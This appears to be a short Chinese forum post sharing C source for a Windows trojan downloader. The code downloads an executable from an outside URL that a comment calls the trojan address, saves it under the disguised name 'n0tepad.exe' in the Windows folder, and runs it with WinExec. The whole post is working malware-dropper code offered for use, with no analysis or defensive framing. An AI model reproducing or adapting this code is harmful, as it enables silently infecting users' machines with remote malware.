发一个下载者代码

void download()
{
DWORD dwStatusCode;
char dwStatusCode1[32];
DWORD dwSize1 = sizeof(dwStatusCode1);
DWORD dwSize = sizeof(DWORD);
int filesize;
LPCSTR localPatch="c://windows//n0tepad.exe";
HINTERNET hNet =InternetOpen("download",INTERNET_OPEN_TYPE_PRECONFIG,NULL,
  INTERNET_INVALID_PORT_NUMBER,0) ;

HINTERNET hUrlFile
=InternetOpenUrl(hNet," http://www.netcicala.com/tools/test.exe",//这里就是木马地址
  NULL,0,INTERNET_FLAG_NO_AUTO_REDIRECT,0) ;
    BOOL bRet=HttpQueryInfo(hUrlFile,
HTTP_QUERY_STATUS_CODE|HTTP_QUERY_FLAG_NUMBER, &dwStatusCode,
     &dwSize,
     NULL);
   // if (bRet==true);
    if(200!=dwStatusCode)
    {
   return;
    }
    if(HttpQueryInfo(hUrlFile, HTTP_QUERY_CONTENT_LENGTH,
&dwStatusCode1,&dwSize1,NULL))
    {
     filesize=atoi(dwStatusCode1);
    }   
    HANDLE hDownFile=CreateFile(localPatch,
     GENERIC_READ|GENERIC_WRITE,
     FILE_SHARE_READ,
     NULL,
     CREATE_ALWAYS,
     FILE_ATTRIBUTE_NORMAL,
     NULL);
    if(INVALID_HANDLE_VALUE==hDownFile)
    { return;}
    DWORD dwWrite;
    DWORD dwBytesRead = 0;
    char buffer[1];
    DWORD dwSurplus=filesize%sizeof(buffer);
  while(1)
    {
     BOOL bRead =InternetReadFile(hUrlFile,buffer,sizeof(buffer),&dwBytesRead);
     if(dwBytesRead==0)
     {
     break;
     }
     WriteFile(hDownFile,buffer,sizeof(buffer),&dwWrite,NULL);
    }
    InternetCloseHandle(hUrlFile) ;
    InternetCloseHandle(hNet) ;
          CloseHandle(hDownFile);
    Sleep(100);
    WinExec(localPatch,SW_SHOW);
}